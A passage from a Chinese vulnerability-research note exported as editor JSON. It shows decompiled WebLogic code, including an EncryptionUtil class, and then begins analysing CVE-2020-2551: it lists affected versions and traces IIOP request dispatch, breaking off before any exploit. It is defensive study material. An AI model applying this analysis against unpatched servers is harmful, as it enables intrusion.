OBSOLETE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AaSj-1682254540490&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2se-1682254540489&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N2HA-1682254540492&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;StGq-1682254540491&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        private State() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8jV-1682254540494&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTal-1682254540493&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v46i-1682254540496&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oKYz-1682254540495&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x09t-1682254540498&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kZ74-1682254540497&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lQqj-1682254540500&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IaPN-1682254540499&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MohP-1682254540502&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTb4-1682254540501&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QEdt-1682254540504&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gtrp-1682254540503&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//EncryptionUtil&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jwfK-1682254540506&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pCN6-1682254540505&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XINM-1682254540508&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GpWI-1682254540507&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.wsee.jaxws.persistence;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cOMB-1682254540510&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YHlM-1682254540509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZOhH-1682254540512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2igj-1682254540511&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.security.AccessController;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jg4c-1682254540514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pLzz-1682254540513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.Kernel;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;heTx-1682254540516&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xk2v-1682254540515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.acl.internal.AuthenticatedSubject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K1GV-1682254540518&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9sue-1682254540517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.internal.SerializedSystemIni;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sp4L-1682254540520&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UC0B-1682254540519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.internal.encryption.EncryptionService;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fIIL-1682254540522&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oDGE-1682254540521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.PrivilegedActions;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RfEJ-1682254540524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWzk-1682254540523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.SecurityServiceManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BSbL-1682254540526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OE97-1682254540525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gwae-1682254540528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FDaB-1682254540527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public final class EncryptionUtil {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ET83-1682254540530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTad-1682254540529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final AuthenticatedSubject kernelID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;juKU-1682254540532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6yg-1682254540531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static EncryptionService es = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9aXV-1682254540534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5ZDF-1682254540533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuuK-1682254540536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j9ks-1682254540535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public EncryptionUtil() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ESRU-1682254540538&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rjXH-1682254540537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5RuY-1682254540540&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OqRo-1682254540539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XO3k-1682254540542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n75n-1682254540541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static byte[] encrypt(byte[] var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0XvL-1682254540544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6l0s-1682254540543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zxzr-1682254540546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yw76-1682254540545&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yj3q-1682254540548&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OvZN-1682254540547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EiLw-1682254540551&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i5EX-1682254540550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static byte[] decrypt(byte[] var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qJYL-1682254540553&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;reMz-1682254540552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (Kernel.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wMHT-1682254540555&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bL4K-1682254540554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            SecurityServiceManager.checkKernelIdentity(kernelID);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Tdk-1682254540557&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qbB5-1682254540556&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return getEncryptionService().decryptBytes(var0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jghM-1682254540559&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w68i-1682254540558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FCtI-1682254540561&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;grZq-1682254540560&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZrNL-1682254540563&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u9Mj-1682254540562&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hs2Y-1682254540565&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fRIz-1682254540564&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZWtz-1682254540567&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGoz-1682254540566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HeV5-1682254540569&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0abb-1682254540568&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static final EncryptionService getEncryptionService() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FgCc-1682254540571&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0JD-1682254540570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (es == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6doV-1682254540573&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mvGn-1682254540572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            es = SerializedSystemIni.getExistingEncryptionService();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T8LZ-1682254540575&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uTev-1682254540574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tyhi-1682254540577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sDdf-1682254540576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o8cj-1682254540579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V989-1682254540578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return es;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qfS8-1682254540581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2eZ-1682254540580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iLOX-1682254540583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NexC-1682254540582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zNoN-1682254540585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nu4d-1682254540584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fQtR-1682254540588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Jh3-1682254540587&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IDYU-1682256061621&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xrSt-1682256061620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2551&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LyWf-1682256048676&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kG3z-1682256048675&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n2Q1-1682256048678&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lC0H-1682256048677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c30o-1682256048680&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyEl-1682256048679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pd4J-1682256048682&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3XV-1682256048681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i9tY-1682256048684&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k7p8-1682256048683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s7Ij-1682256049078&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MBMf-1682256048691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbHv-1682256048694&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CQg1-1682256048693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;先看Weblogic对IIOP协议的处理逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9jH1-1682256048696&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oL49-1682256048695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic有一个dispatch方法，专门用于处理不同协议请求：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l4HQ-1682256048698&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iitO-1682256048697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由MuxableSocketDiscriminator负责具体分发至相应的MuxableSocket类（这里是MuxableSocketIIOP，后续所使用的类都是在weblogic.iiop下的具体实现）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T9u5-1682256049081&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6677/WEBRESOURCEc0a501023eb6d61c5f56ffe898d67b87&#34;,&#34;width&#34;:2846,&#34;height&#34;:1796},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6677/WEBRESOURCEc0a501023eb6d61c5f56ffe898d67b87&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2846,&#34;height&#34;:1796},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8eUt-1682256049082&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6678/WEBRESOURCE8129985dc5a3af189c4e0d0e96f02e6f&#34;,&#34;width&#34;:2838,&#34;height&#34;:1796},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6678/WEBRESOURCE8129985dc5a3af189c4e0d0e96f02e6f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2838,&#34;height&#34;:1796},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67vd-1682256048702&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nIOO-1682256048701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;再交由对应的ConnectionManager处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IcsW-1682256049083&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6694/WEBRESOURCE358f2d8b955e8d28c7ce4ed884b4d6c2&#34;,&#34;width&#34;:2836,&#34;height&#34;:1800},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6694/WEBRESOURCE358f2d8b955e8d28c7ce4ed884b4d6c2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2836,&#34;height&#34;:1800},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVBD-1682256048705&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;moH0-1682256048704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过调用ConnectionManager.dispatch，进入到EndPointlmpl中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bgal-1682256049084&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6695/WEBRESOURCE52239cd907ad053e1359b17ee7f96c98&#34;,&#34;width&#34;:2844,&#34;height&#34;:1800},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6695/WEBRESOURCE52239cd907ad053e1359b17ee7f96c98&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2844,&#34;height&#34;:1800},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Un3-1682256048708&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N